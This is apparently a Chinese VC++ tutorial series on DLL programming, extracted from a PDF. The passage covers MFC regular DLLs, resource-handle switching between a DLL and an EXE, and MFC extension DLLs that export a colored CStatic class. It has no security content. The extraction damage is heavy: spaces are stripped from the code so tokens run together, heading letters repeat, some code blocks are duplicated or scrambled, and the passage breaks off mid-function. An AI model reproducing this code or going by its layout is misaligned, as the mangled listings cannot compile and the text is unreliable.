#ifdef_DEBUG#definenewDEBUG_NEW#undefTHIS_FILEstaticcharTHIS_FILE[]=__FILE__;
#endifBEGIN_MESSAGE_MAP(CRegularDllApp,CWinApp)

END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//CRegularDllAppconstructionCRegularDllApp::CRegularDllApp()
{}
/////////////////////////////////////////////////////////////////////////////
//TheoneandonlyCRegularDllAppobjectCRegularDllApptheApp;
/////////////////////////////////////////////////////////////////////////////
//CRegularDllAppconstructionCRegularDllApp::CRegularDllApp()
{}
/////////////////////////////////////////////////////////////////////////////
//TheoneandonlyCRegularDllAppobjectCRegularDllApptheApp;
分析:

在这一组文件中定义了一个继承自
CWinApp的类
CRegularDllApp,并同时定义了其
的一个实例
theApp。乍一看,您会以为它是一个
MFC应用程序,因为
MFC应用程序也
包含这样的在工程名后添加“App”组成类名的类(并继承自
CWinApp类),也定义了这
个类的一个全局实例
theApp。

我们知道,在
MFC应用程序中
CWinApp取代了
SDK程序中
WinMain的地位,SDK
程序
virtualBOOLInitApplication();
virtualBOOLInitInstance();
virtualBOOLRun();//传说中MFC程序的“活水源头”
WinMain所完成的工作由
CWinApp的三个函数完成:


但是
MFC规则
DLL并不是
MFC应用程序,它所继承自
CWinApp的类不包含消息
循环。这是因为,MFC规则
DLL不包含
CWinApp::Run机制,主消息泵仍然由应用程序
拥有。如果
DLL生成无模式对话框或有自己的主框架窗口,则应用程序的主消息泵必须
调用从
DLL导出的函数来调用
PreTranslateMessage成员函数。

另外,MFC规则
DLL与
MFC应用程序中一样,需要将所有
DLL中元素的初始化放

InitInstance成员函数中。

第二组文件自定义对话框类声明及实现


#if
!defined(AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_)
#defineAFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_
#if_MSC_VER>1000#pragmaonce#endif//_MSC_VER>1000//DllDialog.h:headerfile/////////////////////////////////////////////////////////////////////////////
//CDllDialogdialog

classCDllDialog:publicCDialog{//ConstructionclassCDllDialog:publicCDialog{//Construction
public:
CDllDialog(CWnd*
=pParent


NULL);


//standardconstructor
enum{IDD=IDD_DLL_DIALOG};
protected:
support


//DDX/DDV
virtualvoidDoDataExchange(CDataExchange*pDX);
//Implementation
};
protected:


afx_msg
void


OnHelloButton();
DECLARE_MESSAGE_MAP()
#endif


//DllDialog.cpp:implementationfile#include"stdafx.h"
#include"RegularDll.h"
#include"DllDialog.h"
#ifdef_DEBUG#definenewDEBUG_NEW#undefTHIS_FILEstaticcharTHIS_FILE[]=__FILE__;
#endif


/////////////////////////////////////////////////////////////////////////////
//CDllDialogdialog

CDllDialog::CDllDialog(CWnd*
pParent
/*=NULL*/)
:
CDialog(CDllDialog::IDD,


pParent)
{
}


voidCDllDialog::DoDataExchange(CDataExchange*pDX)
{


CDialog::DoDataExchange(pDX);



}
BEGIN_MESSAGE_MAP(CDllDialog,CDialog)
ON_BN_CLICKED(IDC_HELLO_BUTTON,OnHelloButton)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//CDllDialogmessagehandlersvoidCDllDialog::OnHelloButton()
{
MessageBox("Hello,pconline的网友","pconline");
}
BEGIN_MESSAGE_MAP(CDllDialog,CDialog)
ON_BN_CLICKED(IDC_HELLO_BUTTON,OnHelloButton)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//CDllDialogmessagehandlersvoidCDllDialog::OnHelloButton()
{
MessageBox("Hello,pconline的网友","pconline");
}
分析:

这一部分的编程与一般的应用程序根本没有什么不同,我们照样可以利用
MFC类向
导来自动为对话框上的控件添加事件。MFC类向导照样会生成类似
ON_BN_CLICKED(IDC_HELLO_BUTTON,
OnHelloButton)的消息映射宏。

第三组文件
D
DDDDL
LLLLL
LLLL中的资源文件


//{{NO_DEPENDENCIES}}
//MicrosoftDeveloperStudiogeneratedincludefile.
//UsedbyRegularDll.rc//
#defineIDD_DLL_DIALOG1000#defineIDC_HELLO_BUTTON1000
分析:

MFC规则
DLL中使用资源也与在
MFC应用程序中使用资源没有什么不同,我们
照样可以用
VisualC++的资源编辑工具进行资源的添加、删除和属性的更改。
第四组文件
M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL接口函数


#include"StdAfx.h"
#include"DllDialog.h"
extern"C"__declspec(dllexport)voidShowDlg(void)
{
CDllDialogdllDialog;
dllDialog.DoModal();
}
分析:
这个接口并不使用
MFC,但是在其中却可以调用
MFC扩展类
CdllDialog的函数,这体
现了“规则”的概类。
与非
MFC
DLL完全相同,我们可以使用__declspec(dllexport)声明或在.def中引出的方
式导出
MFC规则
DLL中的接口。


5.5.5.5.4444
M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL的调用
笔者编写了如图12的对话框
MFC程序(下载本工程)来调用5.3节的
MFC规则
DLL,
在这个程序的对话框上点击“调用
DLL”按钮时弹出5.3节
MFC规则
DLL中的对话框。


图12
121212M
MMMMF
FFFFC
CCCC规则
D
DDDDL
LLLLL
LLLL的调用例子
下面是“调用
DLL”按钮单击事件的消息处理函数:


上述例子中给出的是显示调用的方式,可以看出,其调用方式与第4节中非
MFC
DLL
的调用方式没有什么不同。

我们照样可以在
EXE程序中隐式调用
MFC规则
DLL,只需要将
DLL工程生成的.lib
文件和.dll文件拷入当前工程所在的目录,并在
RegularDllCallDlg.cpp文件(图12所示对话
框类的实现文件)的顶部添加:


voidCRegularDllCallDlg::OnCalldllButton()
{
typedefvoid(*lpFun)(void);
HINSTANCEhDll;//DLL句柄
hDll=LoadLibrary("RegularDll.dll");
if(NULL==hDll)
{
MessageBox("DLL加载失败");
}
lpFunaddFun;//函数指针
lpFunpShowDlg=(lpFun)GetProcAddress(hDll,"ShowDlg");
if(NULL==pShowDlg)
{
MessageBox("DLL中函数寻找失败");
}
pShowDlg();
}
#pragmacomment(lib,"RegularDll.lib")
voidShowDlg(void);
并将
void
CRegularDllCallDlg::OnCalldllButton()改为:


voidCRegularDllCallDlg::OnCalldllButton()
{
ShowDlg();
}

5.5.5.5.5555共享
M
MMMMF
FFFFC
CCCD
DDDDL
LLLLL
LLLL的规则
D
DDDDL
LLLLL
LLLL的模块切换
应用程序进程本身及其调用的每个
DLL模块都具有一个全局唯一的
HINSTANCE句
柄,它们代表了
DLL或
EXE模块在进程虚拟空间中的起始地址。进程本身的模块句柄一
般为0x400000,而
DLL模块的缺省句柄为0x10000000。如果程序同时加载了多个
DLL,则
每个
DLL模块都会有不同的
HINSTANCE。应用程序在加载
DLL时对其进行了重定位。

共享
MFC
DLL(或
MFC扩展
DLL)的规则
DLL涉及到
HINSTANCE句柄问题,
HINSTANCE句柄对于加载资源特别重要。EXE和
DLL都有其自己的资源,而且这些资源

ID可能重复,应用程序需要通过资源模块的切换来找到正确的资源。如果应用程序需要
来自于
DLL的资源,就应将资源模块句柄指定为
DLL的模块句柄;如果需要
EXE文件中
包含的资源,就应将资源模块句柄指定为
EXE的模块句柄。

这次我们创建一个动态链接到
MFC
DLL的规则
DLL(下载本工程),在其中包含如图
13的对话框。


图13
131313D
DDDDL
LLLLL
LLLL中的对话框
另外,在与这个
DLL相同的工作区中生成一个基于对话框的
MFC程序,其对话框与
图12完全一样。但是在此工程中我们另外添加了一个如图14的对话框。


图14
141414E
EEEEX
XXXXE
EEEE中的对话框
图13和图14中的对话框除了
caption不同(以示区别)以外,其它的都相同。
尤其值得特别注意,在
DLL和
EXE中我们对图13和图14的对话框使用了相同的资源


ID=2000,在
DLL和
EXE工程的
resource.h中分别有如下的宏:
//DLL中对话框的
ID



#defineIDD_DLL_DIALOG2000//EXE中对话框的ID#defineIDD_EXE_DIALOG2000#defineIDD_DLL_DIALOG2000//EXE中对话框的ID#defineIDD_EXE_DIALOG2000
与5.3节静态链接
MFCDLL的规则
DLL相同,我们还是在规则
DLL中定义接口函数
ShowDlg,原型如下:


#include"StdAfx.h"
#include"SharedDll.h"
voidShowDlg(void)
{
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
}
而为应用工程主对话框的“调用
DLL”的单击事件添加如下消息处理函数:


voidCSharedDllCallDlg::OnCalldllButton()
{
ShowDlg();
}
我们以为单击“调用
DLL”会弹出如图13所示
DLL中的对话框,可是可怕的事情发生

了,我们看到是图14所示
EXE中的对话框!
惊讶?
产生这个问题的根源在于应用程序与
MFC规则
DLL共享
MFCDLL(或
MFC扩展
DLL)

的程序总是默认使用
EXE的资源,我们必须进行资源模块句柄的切换,其实现方法有三:
方法一在
DLL接口函数中使用:
AFX_MANAGE_STATE(AfxGetStaticModuleState());

我们将
DLL中的接口函数
ShowDlg改为:


voidShowDlg(void)
{//方法1:在函数开始处变更,在函数结束时恢复
//将AFX_MANAGE_STATE(AfxGetStaticModuleState());作为接口函数的第一//条语句进
行模块状态切换
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
}
这次我们再点击
EXE程序中的“调用
DLL”按钮,弹出的是
DLL中的如图13的对话框!
嘿嘿,弹出了正确的对话框资源。


AfxGetStaticModuleState是一个函数,其原型为:


AFX_MODULE_STATE*AFXAPIAfxGetStaticModuleState();
该函数的功能是在栈上(这意味着其作用域是局部的)创建一个
AFX_MODULE_STATE
类(模块全局数据也就是模块状态)的实例,对其进行设置,并将其指针
pModuleState返
回。


AFX_MODULE_STATE类的原型如下类的原型如下:


//AFX_MODULE_STATE(globaldataforamodule)
classAFX_MODULE_STATE:publicCNoTrackObject{
public:
#ifdef_AFXDLLAFX_MODULE_STATE(BOOLbDLL,WNDPROCpfnAfxWndProc,DWORDdwVersion);
AFX_MODULE_STATE(BOOLbDLL,WNDPROCpfnAfxWndProc,DWORDdwVersion,BOOLbSystem);
#elseAFX_MODULE_STATE(BOOLbDLL);
#endif~AFX_MODULE_STATE();
CWinApp*m_pCurrentWinApp;
HINSTANCEm_hCurrentInstanceHandle;
HINSTANCEm_hCurrentResourceHandle;
LPCTSTRm_lpszCurrentAppName;
…//省略后面的部分
}
AFX_MODULE_STATE类利用其构造函数和析构函数进行存储模块状态现场及恢复现
场的工作,类似汇编中
call指令对
pc指针和
sp寄存器的保存与恢复、中断服务程序的中
断现场压栈与恢复以及操作系统线程调度的任务控制块保存与恢复。

许多看似不着边际的知识点居然有惊人的相似!


AFX_MANAGE_STATE是一个宏,其原型为:


AFX_MANAGE_STATE(AFX_MODULE_STATE*pModuleState)
该宏用于将
pModuleState设置为当前的有效模块状态。当离开该宏的作用域时(也就离
开了
pModuleState所指向栈上对象的作用域),先前的模块状态将由
AFX_MODULE_STATE
的析构函数恢复。

方法二在
DLL接口函数中使用:


AfxGetResourceHandle();
AfxSetResourceHandle(HINSTANCExxx);
AfxGetResourceHandle用于获取当前资源模块句柄,而
AfxSetResourceHandle则用于设
置程序目前要使用的资源模块句柄。

我们将
DLL中的接口函数
ShowDlg改为:


voidShowDlg(void)
{//方法2的状态变更
HINSTANCEsave_hInstance=AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框

dlg.DoModal();
//方法2的状态还原
AfxSetResourceHandle(save_hInstance);
}
通过
AfxGetResourceHandle和
AfxSetResourceHandle的合理变更,我们能够灵活地设置

程序的资源模块句柄,而方法一则只能在
DLL接口函数退出的时候才会恢复模块句柄。方
法二则不同,如果将
ShowDlg改为:


externCSharedDllApptheApp;//需要声明theApp外部全局变量
voidShowDlg(void)
{//方法2的状态变更
HINSTANCEsave_hInstance=AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
//方法2的状态还原
AfxSetResourceHandle(save_hInstance);
//使用方法2后在此处再进行操作针对的将是应用程序的资源
CDialogdlg1(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg1.DoModal();
}
在应用程序主对话框的“调用
DLL”按钮上点击,将看到两个对话框,相继为
DLL中

的对话框(图13)和
EXE中的对话框(图14)。
方法三由应用程序自身切换
资源模块的切换除了可以由
DLL接口函数完成以外,由应用程序自身也能完成(下载

本工程)。
现在我们把
DLL中的接口函数改为最简单的:


voidShowDlg(void)
{
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
}
而将应用程序的
OnCalldllButton函数改为:


voidCSharedDllCallDlg::OnCalldllButton()
{//方法3:由应用程序本身进行状态切换
//获取EXE模块句柄
HINSTANCEexe_hInstance=GetModuleHandle(NULL);
//或者HINSTANCEexe_hInstance=AfxGetResourceHandle();

//获取DLL模块句柄
HINSTANCEdll_hInstance=GetModuleHandle("SharedDll.dll");
AfxSetResourceHandle(dll_hInstance);//切换状态
ShowDlg();//此时显示的是DLL的对话框
AfxSetResourceHandle(exe_hInstance);//恢复状态
//资源模块恢复后再调用ShowDlgShowDlg();//此时显示的是EXE的对话框
}
//获取DLL模块句柄
HINSTANCEdll_hInstance=GetModuleHandle("SharedDll.dll");
AfxSetResourceHandle(dll_hInstance);//切换状态
ShowDlg();//此时显示的是DLL的对话框
AfxSetResourceHandle(exe_hInstance);//恢复状态
//资源模块恢复后再调用ShowDlgShowDlg();//此时显示的是EXE的对话框
}
方法三中的
Win32函数
GetModuleHandle可以根据
DLL的文件名获取
DLL的模块句柄。
如果需要得到
EXE模块的句柄,则应调用带有
Null参数的
GetModuleHandle。

方法三与方法二的不同在于方法三是在应用程序中利用
AfxGetResourceHandle和
AfxSetResourceHandle进行资源模块句柄切换的。同样地,在应用程序主对话框的“调用
DLL”按钮上点击,也将看到两个对话框,相继为
DLL中的对话框(图13)和
EXE中的
对话框(图14)。

在下一节我们将对
MFC扩展
DLL进行详细分析和实例讲解,欢迎您继续关注本系列连
载。


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
))))编程(四)――
――――――M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL

2005-10-21
23:09:00
标签:VC++编程异常处理
[推送到技术圈]


版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处、作者信息和本
声明。否则将追究法律责任。
http://21cnbao.blog.51cto.com/109393/120771


V
VVVVC
CCCC+
+++++
+++动态链接库(
((((D
DDDDL
LLLLL
LLLL)
)))编程(四)
――M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL

作者:
作者:作者:作者:作者:宋宝华
e-mail:
e-mail:e-mail:e-mail:21cnbao@21cn.com

前文我们对非
MFC
DLL和
MFC规则
DLL进行了介绍,现在开始详细分析
DLL的最
后一种类型――MFC扩展
DLL。


6.6.6.6.1111概论
MFC扩展
DLL与
MFC规则
DLL的相同点在于在两种
DLL的内部都可以使用
MFC
类库,其不同点在于
MFC扩展
DLL与应用程序的接口可以是
MFC的。MFC扩展
DLL的
含义在于它是
MFC的扩展,其主要功能是实现从现有
MFC库类中派生出可重用的类。MFC
扩展
DLL使用
MFC动态链接库版本,因此只有用共享
MFC版本生成的
MFC可执行文件
(应用程序或规则
DLL)才能使用
MFC扩展
DLL。

从前文可知,MFC规则
DLL被
MFC向导自动添加了一个
CWinApp的对象,而
MFC
扩展
DLL则不包含该对象,它只是被自动添加了
DllMain函数。对于
MFC扩展
DLL,开
发人员必须在
DLL的
DllMain函数中添加初始化和结束代码。

从下表我们可以看出三种
DLL对
DllMain入口函数的不同处理方式:

D
DDDD
L
LLLL
L
LLLL
类型入口函数

MFCDLL编程者提供
DllMain函数
MFC规则
DLL
CWinApp对象的
InitInstance和
ExitInstance
MFC扩展
DLL
MFC
DLL向导生成
DllMain函数

对于
MFC扩展
DLL,系统会自动在工程中添加如下表所示的宏,这些宏为
DLL和应
用程序的编写提供了方便。像
AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA这样
的宏,在
DLL和应用程序中将具有不同的定义,这取决于_AFXEXT宏是否被定义。这使
得在
DLL和应用程序中,使用统一的一个宏就可以表示出输出和输入的不同意思。在
DLL
中,表示输出(因为_AFXEXT被定义,通常是在编译器的标识参数中指定/D_AFXEXT);
在应用程序中,则表示输入(_AFXEXT没有定义)。


宏定义
AFX_CLASS_IMPOR
T
__declspec(dllexport)
AFX_API_IMPORT
__declspec(dllexport)
AFX_DATA_IMPORT
__declspec(dllexport)
AFX_CLASS_EXPOR
T
__declspec(dllexport)
AFX_API_EXPORT
__declspec(dllexport)
AFX_DATA_EXPORT
__declspec(dllexport)
AFX_EXT_CLASS
#ifdef
_AFXEXT
AFX_CLASS_EXPORT
#else
AFX_CLASS_IMPORT
AFX_EXT_API
#ifdef
_AFXEXT
AFX_API_EXPORT
#else
AFX_API_IMPORT
AFX_EXT_DATA
#ifdef
_AFXEXT



AFX_DATA_EXPORT
#else
AFX_DATA_IMPORT


6.6.6.6.2222
M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL导出
M
MMMMF
FFFFC
CCCC派生类
在这个例子中,我们将产生一个名为“ExtDll”的
MFC扩展
DLL工程,在这个
DLL
中导出一个对话框类,这个对话框类派生自
MFC类
CDialog。

使用
MFC向导生成
MFC扩展
DLL时,系统会自动添加如下代码:


staticAFX_EXTENSION_MODULEExtDllDLL={NULL,NULL};
extern
"C"


intAPIENTRY
DllMain(


HINSTANCEhInstance,
DWORD
dwReason,LPVOIDlpReserved

)
{
//
Remove
this
if


you
use
lpReserved
UNREFERENCED_PARAMETER(
lpReserved
);
//说明:lpReserved是一个被系统所保留的参数,对于隐式链接是一个非零值,对于
显式链接值是零


if(dwReason==DLL_PROCESS_ATTACH)
{
TRACE0("EXTDLL.DLLInitializing!/n");
//ExtensionDLLone-timeinitializationif(!AfxInitExtensionModule(ExtDllDLL,hInstance))
return0;
//InsertthisDLLintotheresourcechainnewCDynLinkLibrary(ExtDllDLL);
}elseif(dwReason==DLL_PROCESS_DETACH)
{
TRACE0("EXTDLL.DLLTerminating!/n");
//TerminatethelibrarybeforedestructorsarecalledAfxTermExtensionModule(ExtDllDLL);
}return1;//ok}
这一段代码含义晦涩,我们需要对其进行解读:

(1)上述代码完成
MFC扩展
DLL的初始化和终止处理;
(2)初始化期间所创建的
CDynLinkLibrary对象使
MFC扩展
DLL可以将
DLL中的
CRuntimeClass对象或资源导出到应用程序;
(3)AfxInitExtensionModule函数捕获模块的
CRuntimeClass结构和在创建
CDynLinkLibrary对象时使用的对象工厂(COleObjectFactory对象);

(4)AfxTermExtensionModule函数4)AfxTermExtensionModule函数使
MFC得以在每个进程与扩展
DLL分离时(进程
退出或使用
AfxFreeLibrary卸载
DLL时)清除扩展
DLL;
(5)第一条语句
static
AFX_EXTENSION_MODULE
ExtDllDLL
={
NULL,
NULL
};
定义了一个
AFX_EXTENSION_MODULE类的静态全局对象,
AFX_EXTENSION_MODULE的定义如下:
structAFX_EXTENSION_MODULE{
BOOLbInitialized;
HMODULEhModule;
HMODULEhResource;
CRuntimeClass*pFirstSharedClass;
COleObjectFactory*pFirstSharedFactory;
};

AFX_EXTENSION_MODULE的定义我们可以更好的理解(2)、(
3)、(
4)点。
在资源编辑器中添加一个如图15所示的对话框,并使用
MFC类向导为其添加一个对应
的类
CExtDialog,系统自动添加了
ExtDialog.h和
ExtDialog.cpp两个头文件。


图15
151515M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL中的对话框
修改
ExtDialog.h中
CExtDialog类的声明为:


classAFX_EXT_CLASSCExtDialog:publicCDialog{
public:
CExtDialog(CWnd*pParent=NULL);
enum{IDD=IDD_DLL_DIALOG};
protected:
virtualvoidDoDataExchange(CDataExchange*pDX);
DECLARE_MESSAGE_MAP()


};

这其中最主要的改变是我们在
class
AFX_EXT_CLASS
CExtDialog语句中添加了
“AFX_EXT_CLASS”宏,则使得
DLL中的
CExtDialog类被导出。


6.6.6.6.3333
M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL的加载
6.6.6.6.3.13.13.13.1隐式加载
我们在6.2工程所在的工作区中添加一个
LoadExtDllDlg工程,用于演示
MFC扩展
DLL
的加载。在
LoadExtDllDlg工程中添加一个如图16所示的对话框,这个对话框上包括一个
“调用
DLL”按钮。


图16
161616M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL调用工程中的对话框
在与图16对应对话框类实现文件的头部添加:


//LoadExtDllDlg.cpp:implementationfile//
#include"../ExtDialog.h"
#pragmacomment(lib,"ExtDll.lib")
而“调用
DLL”按钮的单击事件的消息处理函数为:


voidCLoadExtDllDlg::OnDllcallButton()
{
CExtDialogextDialog;
extDialog.DoModal();
}
当我们单击“调用
DLL”的时候,弹出了如图15的对话框。

为提供给用户隐式加载(MFC扩展
DLL一般使用隐式加载,具体原因见下节),MFC
扩展
DLL需要提供三个文件:

(1)描述
DLL中扩展类的头文件;
(2)与动态链接库对应的.LIB文件;
(3)动态链接库.DLL文件本身。
有了这三个文件,应用程序的开发者才可充分利用
MFC扩展
DLL。
6.6.6.6.3.23.23.23.2显示加载
显示加载
MFC扩展
DLL应使用
MFC全局函数
AfxLoadLibrary而不是
WIN32API中

LoadLibrary。AfxLoadLibrary最终也调用了
LoadLibrary这个
API,但是在调用之前进行
了线程同步的处理。


HINSTANCEAFXAPIAfxLoadLibrary(LPCTSTRlpszModuleNa);meAfxLoadLibrary的函数原型与
LoadLibrary完全相同,为:


与之相对应的是,MFC应用程序应使用
AfxFreeLibrary而非
FreeLibrary卸载
MFC扩

DLL。AfxFreeLibrary的函数原型也与
FreeLibrary完全相同,为:


BOOLAFXAPIAfxFreeLibrary(HINSTANCEhInstLib);
如果我们把上例中的“调用
DLL”按钮单击事件的消息处理函数改为:


voidCLoadExtDllDlg::OnDllcallButton()CLoadExtDllDlg::OnDllcallButton()
{


HINSTANCEhDll
=

if(NULL
==
hDll)
{


AfxLoadLibrary("ExtDll.dll");
AfxMessageBox("MFC扩展DLL动态加载失败
);
return;
}


CExtDialog
extDialog;
extDialog.DoModal();


AfxFreeLibrary(hDll);


}

则工程会出现
link错误:


LoadExtDllDlg.obj
:
error
LNK2001:
unresolved
external
symbol
"__declspec(dllimport)
public:
virtual
__thiscall
CExtDialog::~CExtDialog(void)"
(__imp_??1CExtDialog@@UAE@XZ)


LoadExtDllDlg.obj
:error
LNK2001:unresolved
external
symbol
"__declspec(dllimport)
public:
__thiscall
CExtDialog::CExtDialog(class
CWnd
*)"
(__imp_??0CExtDialog@@QAE@PAVCWnd@@@Z)

提示
CExtDialog的构造函数和析构函数均无法找到!是的,对于派生
MFC类的
MFC
扩展
DLL,当我们要在应用程序中使用
DLL中定义的派生类时,我们不宜使用动态加载
DLL的方法。


6.6.6.6.4444
M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL加载
M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL
我们可以在
MFC扩展
DLL中再次使用
MFC扩展
DLL,但是,由于在两个
DLL中对于
AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定义都是输出,这会导致调用
的时候出现问题。

我们将会在调用
MFC扩展
DLL的
DLL中看到
link错误:
error
LNK2001:unresolved
external
symbol
….......
因此,在调用
MFC扩展
DLL的
MFC扩展
DLL中,在包含被调用
DLL的头文件之前,
需要临时重新定义
AFX_EXT_CLASS的值。下面的例子显示了如何实现:


//临时改变宏的含义“输出”为“输入”
#undefAFX_EXT_CLASS#undefAFX_EXT_API#undefAFX_EXT_DATA#defineAFX_EXT_CLASSAFX_CLASS_IMPORT#defineAFX_EXT_APIAFX_API_IMPORT#defineAFX_EXT_DATAAFX_DATA_IMPORT//包含被调用MFC扩展DLL的头文件
#include"CalledDLL.h"
//恢复宏的含义为输出
#undefAFX_EXT_CLASS

#undefAFX_EXT_API#undefAFX_EXT_DATA#defineAFX_EXT_CLASSAFX_CLASS_EXPORT#defineAFX_EXT_APIAFX_API_EXPORT#defineAFX_EXT_DATAAFX_DATA_EXPORTAFX_EXT_API#undefAFX_EXT_DATA#defineAFX_EXT_CLASSAFX_CLASS_EXPORT#defineAFX_EXT_APIAFX_API_EXPORT#defineAFX_EXT_DATAAFX_DATA_EXPORT
6.6.6.6.5555
M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL导出函数和变量
MFC扩展
DLL导出函数和变量的方法也十分简单,下面我们给出一个简单的例子。
我们在
MFC向导生成的
MFC扩展
DLL工程中添加
gobal.h和
global.cpp两个文件:
//global.h:MFC扩展DLL导出变量和函数的声明
extern"C"
{intAFX_EXT_DATAtotal;//导出变量
intAFX_EXT_APIadd(intx,inty);//导出函数
}
//global.cpp:MFC扩展DLL导出变量和函数定义
#include"StdAfx.h"
#include"global.h"
extern"C"inttotal;
intadd(intx,inty)
{
total=x+y;
returntotal;
}
编写一个简单的控制台程序来调用这个
MFC扩展
DLL:


#include<iostream.h>
#include<afxver_.h>
//AFX_EXT_DATA、AFX_EXT_API宏的定义在afxver_.h头文件中
#pragmacomment(lib,"ExtDll.lib")
#include"../global.h"
intmain(intargc,char*argv[])
{
cout<<add(2,3)<<endl;
cout<<total;
return0;
}
运行程序,在控制台上看到:


5
5



另外,在
Visual
C++下建立
MFC扩展
DLL时,MFC
DLL向导会自动生成.def文件。
因此,对于函数和变量,我们除了可以利用
AFX_EXT_DATA、AFX_EXT_API宏导出以外,
在.def文件中定义导出也是一个很好的办法。与之相比,在.def文件中导出类却较麻烦。通
常需要从工程生成的.map文件中获得类的所有成员函数被
C++编译器更改过的标识符,并
且在.def文件中导出这些“奇怪”的标识符。因此,MFC扩展
DLL通常以
AFX_EXT_CLASS宏直接声明导出类。


6.6.6.6.6666
M
MMMMF
FFFFC
CCCC扩展
D
DDDDL
LLLLL
LLLL的应用
上述各小节所举
MFC扩展
DLL的例子均只是为了说明某方面的问题,没有真实地体
现“MFC扩展”的内涵,譬如6.2派生自
CDialog的类也不具备比
CDialog更强的功能。MFC
扩展
DLL的真实内涵体现在它提供的类虽然派生自
MFC类,但是提供了比
MFC类更强大
的功能、更丰富的接口。下面我们来看一个具体的例子。

我们知道
static控件所对应的
CStatic类不具备设置背景和文本颜色的接口,这使得我
们不能在对话框或其它用户界面上自由灵活地修改
static控件的颜色风格,因此我们需要一
个提供了
SetBackColor和
SetTextColor接口的
CStatic派生类
CMultiColorStatic。

这个类的声明如下:


classAFX_EXT_CLASSCMultiColorStatic:publicCStatic{
//Constructionpublic:
CMultiColorStatic();
virtual~CMultiColorStatic();
//Attributesprotected:
CStringm_strCaption;
COLORREFm_BackColor;
COLORREFm_TextColor;
//Operationspublic:
voidSetTextColor(COLORREFTextColor);
voidSetBackColor(COLORREFBackColor);
voidSetCaption(CStringstrCaption);
//Generatedmessagemapfunctionsprotected:
afx_msgvoidOnPaint();
DECLARE_MESSAGE_MAP()
};
在这个类的实现文件中,我们需要为它提供
WM_PAINT消息的处理函数(这是因为颜
色的设置依赖于
WM_PAINT消息):


BEGIN_MESSAGE_MAP(CMultiColorStatic,CStatic)
//{{AFX_MSG_MAP(CMultiColorStatic)
ON_WM_PAINT()//为这个类定义WM_PAINT消息处理函数
//}}AFX_MSG_MAPEND_MESSAGE_MAP()

下面是这个类中的重要成员函数:


//为CMultiColorStatic类添加“设置文本颜色”接口
voidCMultiColorStatic::SetTextColor(COLORREFTextColor)
{
m_TextColor=TextColor;//设置文字颜色
}//为CMultiColorStatic类添加“设置背景颜色”接口
voidCMultiColorStatic::SetBackColor(COLORREFBackColor)
{
m_BackColor=BackColor;//设置背景颜色
}//为CMultiColorStatic类添加“设置标题”接口
voidCMultiColorStatic::SetCaption(CStringstrCaption)
{
m_strCaption=strCaption;
}//重画Static,颜色和标题的设置都依赖于这个函数
voidCMultiColorStatic::OnPaint()
{
CPaintDCdc(this);//devicecontextforpaintingCRectrect;
GetClientRect(&rect);
dc.SetBkColor(m_BackColor);
dc.SetBkMode(TRANSPARENT);
CFont*pFont=GetParent()->GetFont();//得到父窗体的字体
CFont*pOldFont;
pOldFont=dc.SelectObject(pFont);//选用父窗体的字体
dc.SetTextColor(m_TextColor);//设置文本颜色
dc.DrawText(m_strCaption,&rect,DT_CENTER);//文本在Static中央
dc.SelectObject(pOldFont);
}
为了验证
CMultiColorStatic类,我们制作一个基于对话框的应用程序,它包含一个如
图17所示的对话框。该对话框上包括一个
static控件和三个按钮,这三个按钮可分别把
static
控件设置为“红色”、“蓝色”和“绿色”。



图17
17171717扩展的
C
CCCCS
SSSSt
ttttat
atatatati
iiiic
cccc类调用演示

下面看看应如何编写与这个对话框对应的类。
包含这种
Static的对话框类的声明如下:


#include"../MultiColorStatic.h"
#pragmacomment(lib,"ColorStatic.lib"
)


//
CCallDllDlg
dialog
class
{
public:


CCallDllDlg:publicCDialogCCallDllDlg(CWnd*pParent=NULL);
//
standard
constructor


enum
{IDD


=IDD_CALLDLL_DIALOG};
CMultiColorStatic
m_colorstatic;


//包含一个
CMultiColorStatic的实例


protected:
virtualvoidDoDataExchange(CDataExchange*pDX);//DDX/DDVsupportHICONm_hIcon;
//
Generated
message
map
functions
//{{AFX_MSG(CCallDllDlg)
virtual
BOOLOnInitDialog();
afx_msg
void
afx_msg
void


OnSysCommand(UINnID,LPARAMlParam);
OnPaint();
afx_msg
HCURSOR


OnQueryDragIcon();


afx_msg
void
OnRedButton();
afx_msg
void
OnBlueButton();
afx_msg
void
OnGreenButton();


//}}AFX_MSG


DECLARE_MESSAGE_MAP()


};

下面是这个类中与使用
CMultiColorStatic相关的主要成员函数:


voidCCallDllDlg::DoDataExchange(CDataExchange*pDX)
{
CDialog::DoDataExchange(pDX);
